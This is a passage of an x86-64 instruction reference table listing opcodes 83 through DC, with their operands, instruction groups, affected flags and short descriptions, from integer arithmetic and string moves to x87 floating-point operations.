| | 83| | SW| 1| | | | | L| OR| **Evqp**|  Ibs| | | | gen|  logical| | | o..szapc| o..sz.pc| .....a..| o......c| Logical Inclusive OR  
| | 83| | SW| 2| | | | | L| ADC| **Evqp**|  Ibs| | | | gen|  arith| binary| .......c| o..szapc| o..szapc| | | Add with Carry  
| | 83| | SW| 3| | | | | L| SBB| **Evqp**|  Ibs| | | | gen|  arith| binary| .......c| o..szapc| o..szapc| | | Integer Subtraction with Borrow  
| | 83| | SW| 4| | | | | L| AND| **Evqp**|  Ibs| | | | gen|  logical| | | o..szapc| o..sz.pc| .....a..| o......c| Logical AND  
| | 83| | SW| 5| | | | | L| SUB| **Evqp**|  Ibs| | | | gen|  arith| binary| | o..szapc| o..szapc| | | Subtract  
| | 83| | SW| 6| | | | | L| XOR| **Evqp**|  Ibs| | | | gen|  logical| | | o..szapc| o..sz.pc| .....a..| o......c| Logical Exclusive OR  
| | 83| | SW| 7| | | | | | CMP| Evqp| Ibs| | | | gen|  arith| binary| | o..szapc| o..szapc| | | Compare Two Operands  
| | 84| | dw| r| | | | | | TEST| Eb| Gb| | | | gen|  arith| binary| | o..szapc| o..sz.pc| .....a..| o......c| Logical Compare  
| | 85| | dW| r| | | | | | TEST| Evqp| Gvqp| | | | gen|  arith| binary| | o..szapc| o..sz.pc| .....a..| o......c| Logical Compare  
| | 86| | Dw| r| | | | | L| XCHG| **Gb**| **Eb**| | | |  gen|  datamov| | | | | | | Exchange Register/Memory with Register  
| | 87| | DW| r| | | | | L| XCHG| **Gvqp**| **Evqp**| | | |  gen|  datamov| | | | | | | Exchange Register/Memory with Register  
| | 88| | dw| r| | | | | | MOV| **Eb**|  Gb| | | | gen|  datamov| | | | | | | Move  
| | 89| | dW| r| | | | | | MOV| **Evqp**|  Gvqp| | | | gen|  datamov| | | | | | | Move  
| | 8A| | Dw| r| | | | | | MOV| **Gb**|  Eb| | | | gen|  datamov| | | | | | | Move  
| | 8B| | Dw| r| | | | | | MOV| **Gvqp**|  Evqp| | | | gen|  datamov| | | | | | | Move  
| | 8C| | d| r| | | | | | MOV| **Mw**|  Sw| | | | gen|  datamov| | | | | | | Move  
MOV| **Rvqp**|  Sw| |   
| | 8D| | | r| | | | | | LEA| **Gvqp**|  M| | | | gen|  datamov| | | | | | | Load Effective Address  
| | 8E| | D| r| | | | | | MOV| **Sw**|  Ew| | | | gen|  datamov| | | | | | | Move  
| | 8F| | W| 0| | | | | | POP| **Ev**| | | | |  gen|  stack| | | | | | | Pop a Value from the Stack  
| | 8F| | W| 0| | | E| | | POP| **Evq**| | | | |  gen|  stack| | | | | | | Pop a Value from the Stack  
| | 90| | +r| | | | | | | XCHG| **Zvqp**| **rAX**| | | |  gen|  datamov| | | | | | | Exchange Register/Memory with Register  
| | 90| | | | | D1 | | | | NOP| | | | | | gen|  control| | | | | | | No Operation  
F3| | 90| | | | | | | | | PAUSE| | | | | sse2| cachect| | | | | | | | Spin Loop Hint  
| | 98| | | | | | E| | | CBW| ** _AX_**|  _AL_| | | |  gen|  conver| | | | | | | Convert  
CWDE| ** _EAX_**|  _AX_| |   
CDQE| ** _RAX_**|  _EAX_| |   
| |  99| | | | | | E| | | CWD| ** _DX_**|  _AX_| | | |  gen|  conver| | | | | | | Convert  
CDQ| ** _EDX_**|  _EAX_| |   
CQO| ** _RDX_**|  _RAX_| |   
| |  9A| | | | | | E| | |  _invalid_| | | | | | | | | |  Invalid Instruction in 64-Bit Mode  
| | 9B| | | | | | | | | FWAIT| | | | | | x87fpu|  control| | | 0123| | 0123| | Check pending unmasked floating-point exceptions  
WAIT| | | |   
9B| | | | | | | | | | |  _no mnemonic_| |  prefix|  x87fpu| control| | 0123| | 0123| | Wait Prefix  
| | 9C| | | | | | E| | | PUSHF|  _Fws_| | | | |  gen|  stack flgctrl| | | | | | Push rFLAGS Register onto the Stack  
PUSHFQ|  _Fqs_| | |   
| |  9D| | | | | | E| | | POPF| ** _Fws_**| | | | |  gen|  stack flgctrl| | | | | | Pop Stack into rFLAGS Register  
POPFQ| ** _Fqs_**| | |   
| |  9E| | | | | D2 | | | | SAHF|  _AH_| | | | |  gen|  datamov flgctrl| | ...szapc| ...szapc| | | Store AH into Flags  
| | 9F| | | | | D2 | | | | LAHF| ** _AH_**| | | | |  gen|  datamov flgctrl| ...szapc| | | | | Load Status Flags into AH Register  
| | A0| | w| | | | | | | MOV| **AL**|  Ob| | | | gen|  datamov| | | | | | | Move  
| | A1| | W| | | | | | | MOV| **rAX**|  Ovqp| | | | gen|  datamov| | | | | | | Move  
| | A2| | w| | | | | | | MOV| **Ob**|  AL| | | | gen|  datamov| | | | | | | Move  
| | A3| | W| | | | | | | MOV| **Ovqp**|  rAX| | | | gen|  datamov| | | | | | | Move  
| | A4| | w| | | | | | | MOVS| **Yb**|  Xb| | | | gen|  datamov string| .d......| | | | | Move Data from String to String  
MOVSB| ** _Yb_**|  _Xb_| |   
| |  A5| | W| | | | E| | | MOVS| **Yvqp**|  Xvqp| | | | gen|  datamov string| .d......| | | | | Move Data from String to String  
MOVSW| ** _Ywo_**|  _Xwo_| |   
MOVSD| ** _Ydo_**|  _Xdo_| |   
MOVSQ| ** _Yqp_**|  _Xqp_| |   
| |  A6| | w| | | | | | | CMPS| Yb| Xb| | | | gen|  arith string| binary| .d......| o..szapc| o..szapc| | | Compare String Operands  
CMPSB|  _Yb_|  _Xb_| |   
| |  A7| | W| | | | E| | | CMPS| Yvqp| Xvqp| | | | gen|  arith string| binary| .d......| o..szapc| o..szapc| | | Compare String Operands  
CMPSW|  _Ywo_|  _Xwo_| |   
CMPSD|  _Ydo_|  _Xdo_| |   
CMPSQ|  _Yqp_|  _Xqp_| |   
| |  A8| | w| | | | | | | TEST| AL| Ib| | | | gen|  logical| | | o..szapc| o..sz.pc| .....a..| o......c| Logical Compare  
| | A9| | W| | | | | | | TEST| rAX| Ivds| | | | gen|  logical| | | o..szapc| o..sz.pc| .....a..| o......c| Logical Compare  
| | AA| | w| | | | | | | STOS| **Yb**|  _AL_| | | |  gen|  datamov string| .d......| | | | | Store String  
STOSB| ** _Yb_**|  _AL_| |   
| |  AB| | W| | | | E| | | STOS| **Yvqp**|  _rAX_| | | |  gen|  datamov string| .d......| | | | | Store String  
STOSW| ** _Ywo_**|  _AX_| |   
STOSD| ** _Ydo_**|  _EAX_| |   
STOSQ| ** _Yqp_**|  _RAX_| |   
| |  AC| | w| | | | | | | LODS| ** _AL_**|  Xb| | | | gen|  datamov string| .d......| | | | | Load String  
LODSB| ** _AL_**|  _Xb_| |   
| |  AD| | W| | | | E| | | LODS| ** _rAX_**|  Xvqp| | | | gen|  datamov string| .d......| | | | | Load String  
LODSW| ** _AX_**|  _Xwo_| |   
LODSD| ** _EAX_**|  _Xdo_| |   
LODSQ| ** _RAX_**|  _Xqp_| |   
| |  AE| | w| | | | | | | SCAS| Yb|  _AL_| | | |  gen|  arith string| binary| .d......| o..szapc| o..szapc| | | Scan String  
SCASB|  _Yb_|  _AL_| |   
| |  AF| | W| | | | E| | | SCAS| Yvqp|  _rAX_| | | |  gen|  arith string| binary| .d......| o..szapc| o..szapc| | | Scan String  
SCASW|  _Ywo_|  _AX_| |   
SCASD|  _Ydo_|  _EAX_| |   
SCASQ|  _Yqp_|  _RAX_| |   
| |  B0| | +r| | | | | | | MOV| **Zb**|  Ib| | | | gen|  datamov| | | | | | | Move  
| | B8| | +r| | | | | | | MOV| **Zvqp**|  Ivqp| | | | gen|  datamov| | | | | | | Move  
| | C0| | w| 0| | | | | | ROL| **Eb**|  Ib| | | | gen|  shftrot| | | o..szapc| o..szapc| o.......| | Rotate  
| | C0| | w| 1| | | | | | ROR| **Eb**|  Ib| | | | gen|  shftrot| | | o..szapc| o..szapc| o.......| | Rotate  
| | C0| | w| 2| | | | | | RCL| **Eb**|  Ib| | | | gen|  shftrot| | .......c| o..szapc| o..szapc| o.......| | Rotate  
| | C0| | w| 3| | | | | | RCR| **Eb**|  Ib| | | | gen|  shftrot| | .......c| o..szapc| o..szapc| o.......| | Rotate  
| | C0| | w| 4| | | | | | SHL| **Eb**|  Ib| | | | gen|  shftrot| | | o..szapc| o..sz.pc| o....a.c| | Shift  
SAL| **Eb**|  Ib| |   
| | C0| | w| 5| | | | | | SHR| **Eb**|  Ib| | | | gen|  shftrot| | | o..szapc| o..sz.pc| o....a.c| | Shift  
| | C0| | w| 6| | U3 | | | | SAL _alias_ | **Eb**|  Ib| | | | gen|  shftrot| | | o..szapc| o..sz.pc| o....a.c| | Shift  
SHL _alias_ | **Eb**|  Ib| |   
| | C0| | w| 7| | | | | | SAR| **Eb**|  Ib| | | | gen|  shftrot| | | o..szapc| o..sz.pc| o....a..| | Shift  
| | C1| | W| 0| | | | | | ROL| **Evqp**|  Ib| | | | gen|  shftrot| | | o..szapc| o..szapc| o.......| | Rotate  
| | C1| | W| 1| | | | | | ROR| **Evqp**|  Ib| | | | gen|  shftrot| | | o..szapc| o..szapc| o.......| | Rotate  
| | C1| | W| 2| | | | | | RCL| **Evqp**|  Ib| | | | gen|  shftrot| | .......c| o..szapc| o..szapc| o.......| | Rotate  
| | C1| | W| 3| | | | | | RCR| **Evqp**|  Ib| | | | gen|  shftrot| | .......c| o..szapc| o..szapc| o.......| | Rotate  
| | C1| | W| 4| | | | | | SHL| **Evqp**|  Ib| | | | gen|  shftrot| | | o..szapc| o..sz.pc| o....a.c| | Shift  
SAL| **Evqp**|  Ib| |   
| | C1| | W| 5| | | | | | SHR| **Evqp**|  Ib| | | | gen|  shftrot| | | o..szapc| o..sz.pc| o....a.c| | Shift  
| | C1| | w| 6| | U3 | | | | SAL _alias_ | **Evqp**|  Ib| | | | gen|  shftrot| | | o..szapc| o..sz.pc| o....a.c| | Shift  
SHL _alias_ | **Evqp**|  Ib| |   
| | C1| | W| 7| | | | | | SAR| **Evqp**|  Ib| | | | gen|  shftrot| | | o..szapc| o..sz.pc| o....a..| | Shift  
| | C2| | | | | | | | | RETN| Iw| | | | | gen|  branch stack| | | | | | Return from procedure  
| | C3| | | | | | | | | RETN| | | | | | gen|  branch stack| | | | | | Return from procedure  
| | C4| | | | | | E| | |  _invalid_| | | | | | | | | |  Invalid Instruction in 64-Bit Mode  
| | C5| | | | | | E| | |  _invalid_| | | | | | | | | |  Invalid Instruction in 64-Bit Mode  
| | C6| | w| 0| | | | | | MOV| **Eb**|  Ib| | | | gen|  datamov| | | | | | | Move  
| | C7| | W| 0| | | | | | MOV| **Evqp**|  Ivds| | | | gen|  datamov| | | | | | | Move  
| | C8| | | | | | E| | | ENTER| ** _rBP_**|  Iw| Ib| | | gen|  stack| | | | | | | Make Stack Frame for Procedure Parameters  
| | C9| | | | | | E| | | LEAVE| ** _rBP_**| | | | |  gen|  stack| | | | | | | High Level Procedure Exit  
| | CA| | | | | | | f| | RETF| Iw| | | | | gen|  branch stack| | | | | | Return from procedure  
| | CB| | | | | | | f| | RETF| | | | | | gen|  branch stack| | | | | | Return from procedure  
| | CC| | | | | | | f| | INT _alias_ | 3|  _Fv_| | | |  gen|  break stack| | ..i.....| ..i.....| | ..i.....| Call to Interrupt Procedure  
| | CD| | | | | | | f| | INT| Ib|  _Fv_| | | |  gen|  break stack| | ..i.....| ..i.....| | ..i.....| Call to Interrupt Procedure  
| | CE| | | | | | | f| | INTO|  _Fv_| | | | |  gen|  break stack| o.......| ..i.....| ..i.....| | ..i.....| Call to Interrupt Procedure  
| | CF| | | | | | E| f| | IRET| ** _Fwo_**| | | | |  gen|  break stack| | | | | | Interrupt Return  
IRETD| ** _Fdo_**| | |   
IRETQ| ** _Fqp_**| | |   
| |  D0| | w| 0| | | | | | ROL| **Eb**|  1| | | | gen|  shftrot| | | o..szapc| o..szapc| | | Rotate  
| | D0| | w| 1| | | | | | ROR| **Eb**|  1| | | | gen|  shftrot| | | o..szapc| o..szapc| | | Rotate  
| | D0| | w| 2| | | | | | RCL| **Eb**|  1| | | | gen|  shftrot| | .......c| o..szapc| o..szapc| | | Rotate  
| | D0| | w| 3| | | | | | RCR| **Eb**|  1| | | | gen|  shftrot| | .......c| o..szapc| o..szapc| | | Rotate  
| | D0| | w| 4| | | | | | SHL| **Eb**|  1| | | | gen|  shftrot| | | o..szapc| o..sz.pc| .....a..| | Shift  
SAL| **Eb**|  1| |   
| | D0| | w| 5| | | | | | SHR| **Eb**|  1| | | | gen|  shftrot| | | o..szapc| o..sz.pc| .....a..| | Shift  
| | D0| | w| 6| | U3 | | | | SAL _alias_ | **Eb**|  1| | | | gen|  shftrot| | | o..szapc| o..sz.pc| .....a..| | Shift  
SHL _alias_ | **Eb**|  1| |   
| | D0| | w| 7| | | | | | SAR| **Eb**|  1| | | | gen|  shftrot| | | o..szapc| o..sz.pc| .....a..| | Shift  
| | D1| | W| 0| | | | | | ROL| **Evqp**|  1| | | | gen|  shftrot| | | o..szapc| o..szapc| | | Rotate  
| | D1| | W| 1| | | | | | ROR| **Evqp**|  1| | | | gen|  shftrot| | | o..szapc| o..szapc| | | Rotate  
| | D1| | W| 2| | | | | | RCL| **Evqp**|  1| | | | gen|  shftrot| | .......c| o..szapc| o..szapc| | | Rotate  
| | D1| | W| 3| | | | | | RCR| **Evqp**|  1| | | | gen|  shftrot| | .......c| o..szapc| o..szapc| | | Rotate  
| | D1| | W| 4| | | | | | SHL| **Evqp**|  1| | | | gen|  shftrot| | | o..szapc| o..sz.pc| .....a..| | Shift  
SAL| **Evqp**|  1| |   
| | D1| | W| 5| | | | | | SHR| **Evqp**|  1| | | | gen|  shftrot| | | o..szapc| o..sz.pc| .....a..| | Shift  
| | D1| | W| 6| | U3 | | | | SAL _alias_ | **Evqp**|  1| | | | gen|  shftrot| | | o..szapc| o..sz.pc| .....a..| | Shift  
SHL _alias_ | **Evqp**|  1| |   
| | D1| | W| 7| | | | | | SAR| **Evqp**|  1| | | | gen|  shftrot| | | o..szapc| o..sz.pc| .....a..| | Shift  
| | D2| | w| 0| | | | | | ROL| **Eb**|  CL| | | | gen|  shftrot| | | o..szapc| o..szapc| o.......| | Rotate  
| | D2| | w| 1| | | | | | ROR| **Eb**|  CL| | | | gen|  shftrot| | | o..szapc| o..szapc| o.......| | Rotate  
| | D2| | w| 2| | | | | | RCL| **Eb**|  CL| | | | gen|  shftrot| | .......c| o..szapc| o..szapc| o.......| | Rotate  
| | D2| | w| 3| | | | | | RCR| **Eb**|  CL| | | | gen|  shftrot| | .......c| o..szapc| o..szapc| o.......| | Rotate  
| | D2| | w| 4| | | | | | SHL| **Eb**|  CL| | | | gen|  shftrot| | | o..szapc| o..sz.pc| o....a.c| | Shift  
SAL| **Eb**|  CL| |   
| | D2| | w| 5| | | | | | SHR| **Eb**|  CL| | | | gen|  shftrot| | | o..szapc| o..sz.pc| o....a.c| | Shift  
| | D2| | w| 6| | U3 | | | | SAL _alias_ | **Eb**|  CL| | | | gen|  shftrot| | | o..szapc| o..sz.pc| o....a.c| | Shift  
SHL _alias_ | **Eb**|  CL| |   
| | D2| | w| 7| | | | | | SAR| **Eb**|  CL| | | | gen|  shftrot| | | o..szapc| o..sz.pc| o....a..| | Shift  
| | D3| | W| 0| | | | | | ROL| **Evqp**|  CL| | | | gen|  shftrot| | | o..szapc| o..szapc| o.......| | Rotate  
| | D3| | W| 1| | | | | | ROR| **Evqp**|  CL| | | | gen|  shftrot| | | o..szapc| o..szapc| o.......| | Rotate  
| | D3| | W| 2| | | | | | RCL| **Evqp**|  CL| | | | gen|  shftrot| | .......c| o..szapc| o..szapc| o.......| | Rotate  
| | D3| | W| 3| | | | | | RCR| **Evqp**|  CL| | | | gen|  shftrot| | .......c| o..szapc| o..szapc| o.......| | Rotate  
| | D3| | W| 4| | | | | | SHL| **Evqp**|  CL| | | | gen|  shftrot| | | o..szapc| o..sz.pc| o....a.c| | Shift  
SAL| **Evqp**|  CL| |   
| | D3| | W| 5| | | | | | SHR| **Evqp**|  CL| | | | gen|  shftrot| | | o..szapc| o..sz.pc| o....a.c| | Shift  
| | D3| | W| 6| | U3 | | | | SAL _alias_ | **Evqp**|  CL| | | | gen|  shftrot| | | o..szapc| o..sz.pc| o....a.c| | Shift  
SHL _alias_ | **Evqp**|  CL| |   
| | D3| | W| 7| | | | | | SAR| **Evqp**|  CL| | | | gen|  shftrot| | | o..szapc| o..sz.pc| .....a..| | Shift  
| | D4| | | | | | E| | |  _invalid_| | | | | | | | | |  Invalid Instruction in 64-Bit Mode  
| | D5| | | | | | E| | |  _invalid_| | | | | | | | | |  Invalid Instruction in 64-Bit Mode  
| | D6| | | | | | E| | |  _invalid_| | | | | | | | | |  Invalid Instruction in 64-Bit Mode  
| | D7| | | | | | | | | XLAT| ** _AL_**|  BBb| | | | gen|  datamov| | | | | | | Table Look-up Translation  
XLATB| ** _AL_**|  _BBb_| |   
| |  D8| | mf| 0| | | | | | FADD| ** _ST_**|  Msr| | | | x87fpu|  arith| | | 0123| .1..| 0.23| | Add  
FADD| **ST**|  EST| |   
| | D8| | mf| 1| | | | | | FMUL| ** _ST_**|  Msr| | | | x87fpu|  arith| | | 0123| .1..| 0.23| | Multiply  
FMUL| **ST**|  EST| |   
| | D8| | mf| 2| | | | | | FCOM|  _ST_|  ESsr| | | | x87fpu|  compar| | | 0123| 0123| | | Compare Real  
| | D8| D1| | 2| | | | | | FCOM|  _ST_|  _ST1_| | | |  x87fpu|  compar| | | 0123| 0123| | | Compare Real  
| | D8| | mf| 3| | | | | p| FCOMP|  _ST_|  ESsr| | | | x87fpu|  compar| | | 0123| 0123| | | Compare Real and Pop  
| | D8| D9| | 3| | | | | p| FCOMP|  _ST_|  _ST1_| | | |  x87fpu|  compar| | | 0123| 0123| | | Compare Real and Pop  
| | D8| | mf| 4| | | | | | FSUB| ** _ST_**|  Msr| | | | x87fpu|  arith| | | 0123| .1..| 0.23| | Subtract  
FSUB| **ST**|  EST| |   
| | D8| | mf| 5| | | | | | FSUBR| ** _ST_**|  Msr| | | | x87fpu|  arith| | | 0123| .1..| 0.23| | Reverse Subtract  
FSUBR| **ST**|  EST| |   
| | D8| | mf| 6| | | | | | FDIV| ** _ST_**|  Msr| | | | x87fpu|  arith| | | 0123| .1..| 0.23| | Divide  
FDIV| **ST**|  EST| |   
| | D8| | mf| 7| | | | | | FDIVR| ** _ST_**|  Msr| | | | x87fpu|  arith| | | 0123| .1..| 0.23| | Reverse Divide  
FDIVR| **ST**|  EST| |   
| | D9| | mf| 0| | | | | s| FLD| ** _ST_**|  ESsr| | | | x87fpu|  datamov| | | 0123| .1..| 0.23| | Load Floating Point Value  
| | D9| | mf| 1| | | | | | FXCH| ** _ST_**| **EST**| | | |  x87fpu|  datamov| | | 0123| .1..| 0.23| | Exchange Register Contents  
| | D9| C9| | 1| | | | | | FXCH| ** _ST_**| ** _ST1_**| | | |  x87fpu|  datamov| | | 0123| .1..| 0.23| | Exchange Register Contents  
| | D9| | mf| 2| | | | | | FST| **Msr**|  _ST_| | | |  x87fpu|  datamov| | | 0123| .1..| 0.23| | Store Floating Point Value  
| | D9| D0| | 2| | | | | | FNOP| | | | | | x87fpu|  control| | | 0123| | 0123| | No Operation  
| | D9| | mf| 3| | | | | p| FSTP| **Msr**|  _ST_| | | |  x87fpu|  datamov| | | 0123| .1..| 0.23| | Store Floating Point Value and Pop  
| | D9| | | 3| | U9 | | | p|  _FSTP1_ _part alias 5_ | **EST**|  _ST_| | | |  x87fpu|  datamov| | | 0123| .1..| 0.23| | Store Floating Point Value and Pop  
| | D9| | | 4| | | | | | FLDENV| Me| | | | | x87fpu|  control| | | 0123| 0123| | | Load x87 FPU Environment  
| | D9| E0| | 4| | | | | | FCHS| ** _ST_**| | | | |  x87fpu|  arith| | | 0123| .1..| 0.23| | Change Sign  
| | D9| E1| | 4| | | | | | FABS| ** _ST_**| | | | |  x87fpu|  arith| | | 0123| .1..| 0.23| | Absolute Value  
| | D9| E4| | 4| | | | | | FTST|  _ST_| | | | |  x87fpu|  compar| | | 0123| 0123| | | Test  
| | D9| E5| | 4| | | | | | FXAM|  _ST_| | | | |  x87fpu| | | | 0123| 0123| | | Examine  
| | D9| | | 5| | | | | | FLDCW| Mw| | | | | x87fpu|  control| | | 0123| | 0123| | Load x87 FPU Control Word  
| | D9| E8| | 5| | | | | s| FLD1| ** _ST_**| | | | |  x87fpu|  ldconst| | | 0123| .1..| 0.23| | Load Constant +1.0  
| | D9| E9| | 5| | | | | s| FLDL2T| ** _ST_**| | | | |  x87fpu|  ldconst| | | 0123| .1..| 0.23| | Load Constant log210  
| | D9| EA| | 5| | | | | s| FLDL2E| ** _ST_**| | | | |  x87fpu|  ldconst| | | 0123| .1..| 0.23| | Load Constant log2e  
| | D9| EB| | 5| | | | | s| FLDPI| ** _ST_**| | | | |  x87fpu|  ldconst| | | 0123| .1..| 0.23| | Load Constant π  
| | D9| EC| | 5| | | | | s| FLDLG2| ** _ST_**| | | | |  x87fpu|  ldconst| | | 0123| .1..| 0.23| | Load Constant log102  
| | D9| ED| | 5| | | | | s| FLDLN2| ** _ST_**| | | | |  x87fpu|  ldconst| | | 0123| .1..| 0.23| | Load Constant loge2  
| | D9| EE| | 5| | | | | s| FLDZ| ** _ST_**| | | | |  x87fpu|  ldconst| | | 0123| .1..| 0.23| | Load Constant +0.0  
| | D9| | | 6| | | | | | FNSTENV| **Me**| | | | |  x87fpu|  control| | | 0123| | 0123| | Store x87 FPU Environment  
9B| | D9| | | 6| | | | | | FSTENV| **Me**| | | | |  x87fpu|  control| | | 0123| | 0123| | Store x87 FPU Environment  
| | D9| F0| | 6| | | | | | F2XM1| ** _ST_**| | | | |  x87fpu|  trans| | | 0123| .1..| 0.23| | Compute 2x-1  
| | D9| F1| | 6| | | | | p| FYL2X| ** _ST1_**|  _ST_| | | |  x87fpu|  trans| | | 0123| .1..| 0.23| | Compute y × log2x and Pop  
| | D9| F2| | 6| | | | | s| FPTAN| ** _ST_**| | | | |  x87fpu|  trans| | | 0123| .12.| 0..3| | Partial Tangent  
| | D9| F3| | 6| | | | | p| FPATAN| ** _ST1_**|  _ST_| | | |  x87fpu|  trans| | | 0123| .1..| 0.23| | Partial Arctangent and Pop  
| | D9| F4| | 6| | | | | s| FXTRACT| ** _ST_**| | | | |  x87fpu|  arith| | | 0123| .1..| 0.23| | Extract Exponent and Significand  
| | D9| F5| | 6| | | | | | FPREM1| ** _ST_**|  _ST1_| | | |  x87fpu|  arith| | | 0123| 0123| | | IEEE Partial Remainder  
| | D9| F6| | 6| | | | | | FDECSTP| | | | | | x87fpu|  control| | | 0123| .1..| 0.23| .0..| Decrement Stack-Top Pointer  
| | D9| F7| | 6| | | | | | FINCSTP| | | | | | x87fpu|  control| | | 0123| .1..| 0.23| .0..| Increment Stack-Top Pointer  
| | D9| | | 7| | | | | | FNSTCW| **Mw**| | | | |  x87fpu|  control| | | 0123| | 0123| | Store x87 FPU Control Word  
9B| | D9| | | 7| | | | | | FSTCW| **Mw**| | | | |  x87fpu|  control| | | 0123| | 0123| | Store x87 FPU Control Word  
| | D9| F8| | 7| | | | | | FPREM| ** _ST_**|  _ST1_| | | |  x87fpu|  arith| | | 0123| 0123| | | Partial Remainder \(for compatibility with i8087 and i287\)  
| | D9| F9| | 7| | | | | p| FYL2XP1| ** _ST1_**|  _ST_| | | |  x87fpu|  trans| | | 0123| .1..| 0.23| | Compute y × log2\(x+1\) and Pop  
| | D9| FA| | 7| | | | | | FSQRT| ** _ST_**| | | | |  x87fpu|  arith| | | 0123| .1..| 0.23| | Square Root  
| | D9| FB| | 7| | | | | s| FSINCOS| ** _ST_**| | | | |  x87fpu|  trans| | | 0123| .12.| 0..3| | Sine and Cosine  
| | D9| FC| | 7| | | | | | FRNDINT| ** _ST_**| | | | |  x87fpu|  arith| | | 0123| .1..| 0.23| | Round to Integer  
| | D9| FD| | 7| | | | | | FSCALE| ** _ST_**|  _ST1_| | | |  x87fpu|  arith| | | 0123| .1..| 0.23| | Scale  
| | D9| FE| | 7| | | | | | FSIN| ** _ST_**| | | | |  x87fpu|  trans| | | 0123| .12.| 0..3| | Sine  
| | D9| FF| | 7| | | | | | FCOS| ** _ST_**| | | | |  x87fpu|  trans| | | 0123| .12.| 0..3| | Cosine  
| | DA| | mF| 0| | | | | | FIADD| ** _ST_**|  Mdi| | | | x87fpu|  arith| | | 0123| .1..| 0.23| | Add  
| | DA| | | 0| | | | | | FCMOVB| **ST**|  EST| | | | x87fpu|  datamov| | .......c| 0123| .1..| 0.23| | FP Conditional Move - below \(CF=1\)  
| | DA| | mF| 1| | | | | | FIMUL| ** _ST_**|  Mdi| | | | x87fpu|  arith| | | 0123| .1..| 0.23| | Multiply  
| | DA| | | 1| | | | | | FCMOVE| **ST**|  EST| | | | x87fpu|  datamov| | ....z...| 0123| .1..| 0.23| | FP Conditional Move - equal \(ZF=1\)  
| | DA| | mF| 2| | | | | | FICOM|  _ST_|  Mdi| | | | x87fpu|  compar| | | 0123| 0123| | | Compare Integer  
| | DA| | | 2| | | | | | FCMOVBE| **ST**|  EST| | | | x87fpu|  datamov| | ....z...| 0123| .1..| 0.23| | FP Conditional Move - below or equal \(CF=1 or ZF=1\)  
| | DA| | mF| 3| | | | | p| FICOMP|  _ST_|  Mdi| | | | x87fpu|  compar| | | 0123| 0123| | | Compare Integer and Pop  
| | DA| | | 3| | | | | | FCMOVU| **ST**|  EST| | | | x87fpu|  datamov| | ......p.| 0123| .1..| 0.23| | FP Conditional Move - unordered \(PF=1\)  
| | DA| | mF| 4| | | | | | FISUB| ** _ST_**|  Mdi| | | | x87fpu|  arith| | | 0123| .1..| 0.23| | Subtract  
| | DA| | mF| 5| | | | | | FISUBR| ** _ST_**|  Mdi| | | | x87fpu|  arith| | | 0123| .1..| 0.23| | Reverse Subtract  
| | DA| E9| | 5| | | | | P| FUCOMPP|  _ST_|  _ST1_| | | |  x87fpu|  compar| | | 0123| 0123| | | Unordered Compare Floating Point Values and Pop Twice  
| | DA| | mF| 6| | | | | | FIDIV| ** _ST_**|  Mdi| | | | x87fpu|  arith| | | 0123| .1..| 0.23| | Divide  
| | DA| | mF| 7| | | | | | FIDIVR| ** _ST_**|  Mdi| | | | x87fpu|  arith| | | 0123| .1..| 0.23| | Reverse Divide  
| | DB| | mF| 0| | | | | s| FILD| ** _ST_**|  Mdi| | | | x87fpu|  datamov| | | 0123| .1..| 0.23| | Load Integer  
| | DB| | | 0| | | | | | FCMOVNB| **ST**|  EST| | | | x87fpu|  datamov| | .......c| 0123| .1..| 0.23| | FP Conditional Move - not below \(CF=0\)  
| | DB| | mF| 1| | | | | p| FISTTP| **Mdi**|  _ST_| | |  sse3| x87fpu|  conver| | | 0123| .1..| 0.23| .0..| Store Integer with Truncation and Pop  
| | DB| | | 1| | | | | | FCMOVNE| **ST**|  EST| | | | x87fpu|  datamov| | ....z...| 0123| .1..| 0.23| | FP Conditional Move - not equal \(ZF=0\)  
| | DB| | mF| 2| | | | | | FIST| **Mdi**|  _ST_| | | |  x87fpu|  datamov| | | 0123| .1..| 0.23| | Store Integer  
| | DB| | | 2| | | | | | FCMOVNBE| **ST**|  EST| | | | x87fpu|  datamov| | ....z...| 0123| .1..| 0.23| | FP Conditional Move - below or equal \(CF=0 and ZF=0\)  
| | DB| | mF| 3| | | | | p| FISTP| **Mdi**|  _ST_| | | |  x87fpu|  datamov| | | 0123| .1..| 0.23| | Store Integer and Pop  
| | DB| | | 3| | | | | | FCMOVNU| **ST**|  EST| | | | x87fpu|  datamov| | ......p.| 0123| .1..| 0.23| | FP Conditional Move - not unordered \(PF=0\)  
| | DB| E0| | 4| | D6 | | | | FNENI _nop_ | | | | | | obsol|  control| | | | | | | Treated as Integer NOP  
| | DB| E1| | 4| | D6 | | | | FNDISI _nop_ | | | | | | obsol|  control| | | | | | | Treated as Integer NOP  
| | DB| E2| | 4| | | | | | FNCLEX| | | | | | x87fpu|  control| | | 0123| | 0123| | Clear Exceptions  
9B| | DB| E2| | 4| | | | | | FCLEX| | | | | | x87fpu|  control| | | 0123| | 0123| | Clear Exceptions  
| | DB| E3| | 4| | | | | | FNINIT| | | | | | x87fpu|  control| | | 0123| | | 0000| Initialize Floating-Point Unit  
9B| | DB| E3| | 4| | | | | | FINIT| | | | | | x87fpu|  control| | | 0123| | | 0000| Initialize Floating-Point Unit  
| | DB| E4| | 4| | D7 | | | | FNSETPM _nop_ | | | | | | obsol|  control| | | | | | | Treated as Integer NOP  
| | DB| | | 5| | | | | s| FLD| ** _ST_**|  Mer| | | | x87fpu|  datamov| | | 0123| .1..| 0.23| | Load Floating Point Value  
| | DB| | | 5| | | | | | FUCOMI| ST| EST| | | | x87fpu|  compar| | | o...z.pc .1..| o...z.pc .1..| | o.......| Unordered Compare Floating Point Values and Set EFLAGS  
| | DB| | | 6| | | | | | FCOMI| ST| EST| | | | x87fpu|  compar| | | o...z.pc .1..| o...z.pc .1..| | o.......| Compare Floating Point Values and Set EFLAGS  
| | DB| | | 7| | | | | p| FSTP| **Mer**|  _ST_| | | |  x87fpu|  datamov| | | 0123| .1..| 0.23| | Store Floating Point Value and Pop  
| | DC| | Mf| 0| | | | | | FADD| ** _ST_**|  Mdr| | | | x87fpu|  arith| | | 0123| .1..| 0.23| | Add  
| | DC| | | 0| | | | | | FADD| **EST**|  ST| | | | x87fpu|  arith| | | 0123| .1..| 0.23| | Add  
| | DC| | Mf| 1| | | | | | FMUL| ** _ST_**|  Mdr| | | | x87fpu|  arith| | | 0123| .1..| 0.23| | Multiply  
| | DC| | | 1| | | | | | FMUL| **EST**|  ST| | | | x87fpu|  arith| | | 0123| .1..| 0.23| | Multiply  
| | DC| | Mf| 2| | | | | | FCOM|  _ST_|  Mdr| | | | x87fpu|  compar| | | 0123| 0123| | | Compare Real  
